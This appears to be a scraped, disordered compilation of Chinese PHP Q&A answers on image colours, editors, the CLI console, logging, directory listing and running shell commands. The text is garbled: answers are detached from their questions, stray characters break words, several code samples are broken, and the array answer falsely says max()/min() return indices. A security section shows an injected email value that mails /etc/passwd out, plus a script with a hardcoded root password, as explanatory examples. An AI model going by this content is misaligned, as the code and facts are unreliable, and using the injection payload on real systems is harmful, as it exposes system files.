⑴ php有没有简单的方法识别两张图片是否相似/相同
理论上肯定是可以的。扮举不过这应该是一个很高深的东西。所以,我只能给你我很粗浅的方法:
一:写个函数,这个函数的主要功能是找出一张图片上的主要颜色(代码在最后面)
二:把一张图片有GD库分成9份(3*3)或更多薯备份,然后用第一个函数来取得每一份小图的主要颜色。
三:比对这几份小图的颜色,看哪一份的颜色是你需要的。
如果你原数缺毁意,你也可以切很多份,比如10000份(100*100),然后计算这10000个颜色的中你需要的颜色的分布,找出你需要的区域。
$i=("image.jpg");
for($x=0;$x for($y=0;$y $rgb=($i,$x,$y); $r=($rgb<<16)&0xFF; $g=($rgb<<&0xFF; $b=$rgb&0xFF; $rTotal=$r; $gTotal=$g; $bTotal=$b; $total; } } $rAverage=round($rTotal/$total); $gAverage=round($gTotal/$total); $bAverage=round($bTotal/$total); ⑵ php开发软件有哪些(php用什么软件) 1. 工具简介: SublimeText是一款目前非常流行的代码编辑器,优点是:体积适中,40M左右,运行流畅,有丰富的插件和代码提示功能,建议选择英文版,缺点是:收费,不过很多破解版。SublimeText具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。SublimeText的主要拆睁功能包括:拼写亩慎检查,书签,完整的PythonAPI,Goto功能,即时项目切换,多选择,多窗口等等。SublimeText是一个跨平台的编辑器,同时支持Windows、Linux、MacOSX等操作系统。<去下载.....< 2.Notepad7.3.1 工具简介: Notepad是在微软视窗环境之下的一个免费的代码编辑器,8M左右,非常小巧。它使用较少的CPU功率,降低电脑系统能源消耗,但轻巧且执行效率高,使得Notepad可完美地取代微软视窗的记事本。内置支持多达27种语法高亮度显示(包括各种常见的源代码、脚本,能够很好地支持.nfo文件查看),还支持自定义语言;可自动检测文件类型,根据关键字显示节点,节点可自由折叠/打开,还可显示缩进引导线,代码显示得很有层次感;可打开双窗口,在分窗口中又可打开多个迅御敬子窗口,允许快捷切换全屏显示模式(F11),支持鼠标滚轮改变文档显示比例;提供了一些有用工具,如邻行互换位置、宏功能等;可显示选中文本的字节数(而不是一般编辑器所显示的字数,这在某些情况下,比如软件本地化很方便)。 3.PhpStorm 工具简介: Phpstorm是大多数PHP程序员们爱不释手的一款编码的集成开发工具。它支持所有PHP语言功能,提供最优秀的代码补全、重构、实时错误预防等等功能。但是该工具运行的系统环境配置很高,建议你们选择不错的电脑系统开发项目,另外初学者不建议使用phpstorm,两年后再用,不然他的函数参数提示会把你搞崩溃. 4.ZendStudio13.0.1 工具简介: ZendStudio是一个屡获大奖的专业PHP集成开发环境,具备功能强大的专业编辑工具和调试工具,支持PHP语法加亮显示,支持语法自动填充功能,支持书签功能,支持语法自动缩排和代码复制功能,内置一个强大的PHP代码调试工具,支持本地和远程两种调试模式,支持多种高级调试功能。 5.VSCode(官网下载即可) 近两年,慢慢流行起来,VisualStudioCode(简称VSCode/VSC)是一款免费开源的现代化轻量级代码编辑器,支持几乎所有主流的开发语言的语法高亮、智能代码补全、自定义快捷键、括号匹配和颜色区分、代码片段、代码对比Diff、GIT命令等特性,支持插件扩展,并针对网页开发和云端应用开发做了优化。软件跨平台支持Win、Mac以及Linux,运行流畅,可谓是微软的良心之作! ⑶ 北京电脑培训分享PHP交互控制台 假如你在命令行下使用过php,那么你可能知道用-r选项来执行代码。这个特征让闷非常棒,但是很难正确处理"引用"。你需要知道是"单引"或"双引",还有你所使用的shell,甚至你需要时刻保持对变量的警惕避免出错。直接在STDIN中写入代码让php执行是件烦人的事情,假设你想修改前面已写的代正滑悔码的话。在这种情况下,北京电脑培训认为你只好把代码写入文件(即使那只有一行+<?php)运行它。为了解决这个问题,Marcus和我在php5.1clisapi中加入了新的特征。我很荣幸能够在这里介绍给大家:PHP交互控制台。 在你编译了PHP(GNU:--with-readline)或者(BSD:--with-libedit)后,你便能够通过使用PHP的-a选项进入这个控制台。 但是这并非是我们全部拥有的。更酷的特征是tab自动完成功能。就象bash或者mysql控制台下你可以只输入前面几个字母,按下tab便获得可能的完成的单词列表。目前,我们已经能够做到函数,常量,类名,变量,静态方法调用和类常量的自动完成。目前我在进行对象方法和属性的自动完成工作。 目前自动完成尚有一些限制,比如对于变量或对象,它只能在先前行定义并执行后才会自动完成,并不能在单行多次使用或在一个函数举正内很好地工作。但是大多数情况下,它能避免我们打印很多字母。 ⑷ php怎么使用ltlogger
$log=new LtLogger(); ⑸ php函数 自定义一个函数,随机输入一个100以内的正整数n,利用函数求出1+2+……n和并输出。
要创建一个PHP函数,首先需要使用function关键字定义一个培培新函数液中敬。然后,我们将使用rand()函数生成一个100以内的随机正整数。接下来,我们需要创建一个循环来计算1到n的和。最后,使用echo输出结果。以下是一个示例: ⑹ 如何用php打印指定目录下的目录结构
<?php ⑺ 想通过PHP实现读取txt文本每次刷新网页随机获取5行数据并输出
如果文件不是太大的话,可以这样写: ⑻ 在php命令行业中怎样打印内容
在PHP中调用外部命令,可以用如下三种方法来实现: ⑼ php输出数组的最大元素的索引值和最小元素索引值
可以使用以下代码来输出数组的最大元素的索引值和最小元素索引值:
//自己定义log的存放路径
$log->conf('log_file' =>兆睁做 '/早困log/system.log');
$log->log(date('Y-m-d').' 加上当前程序名,操作人就是一条日志了');
如果文件本身不存在,会直接创建在指定的路径里,文件存在的话,会追族衡加到日志里,默认每条日志以"\t"来进行分割。
<?php
function sum_n($n) {
$sum = 0;
for ($i = 1; $i <= $n; $i++) {
$sum += $i;
}
return $sum;
}
//闹慎 生成一个100以内的随机正整数
$n = rand(1, 100);
// 计算1到n的和并输出结果
$sum = sum_n($n);
echo "随机生成的数字为: $n\n";
echo "1 到 $n 的和为: $sum";
?>
这个示例中的sum_n函数接收一个参数$n,并计算1到n的和。rand(1, 100)用于生成一个随机正整数,echo用于输出结果。
//比如你要查看打印D盘test文件夹下的目录,可以调用下面的的函数
$directory="D:/test";
function tree($directory)
{
$mydir=dir($directory);
echo "<ul>";
while($file=$mydir->read()){
if((is_dir("$directory/滚弊$file")) AND ($file!=".") AND ($file!="..")){
echo "<li><font color='#ff00cc'><b>唤段$file</b></font></li>";
tree("$directory/$file");
}else{
echo "<li>$file</li>";
}
}
echo "</ul>";
$mydir->close();
}
//start the program
echo "<h2>目录</h2>和备誉";
tree(".");
?>
<?php
$arr=file('a.txt'); //文本文件,请修改合适的名字和位置
$n=count($arr);
for ($i=0;$i<5;$i++) echo $arr[rand(0,$n)]."<br>';
?>
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
复制代码
代码如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
复制代码
代码如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
复制代码
代码如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
复制代码
代码如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
复制代码
代码如下:
<?php
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
复制代码
代码如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看
要考虑两个问题:安全性和超时。
先
看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:
复制代码
代码如下:
<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸
好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:
复制代码
代码如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
php复制代码
<?php
$arr = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
// 输出最大元素的索引值
echo "The maximum element is at index " . max($arr) . ".";
// 输出最小元素的索引值
echo "The minimum element is at index " . min($arr) . ".";
?>
在上面的代码中,我们首先定义了一个包含10个元素的数组$arr。然后,我们使用max()函数裂迹和min()函数来分别输出最大元素的索引值和最小元素的索引值。
需要注意的是,max()函数和min()函数都返回一个布尔值,表示数袭搭组中的最大肆禅并值和最小值。如果返回的是整数,则表示该元素是数组中的最大值或最小值。如果返回的是浮点数,则表示该元素是数组中的最大值或最小值的一个近似值。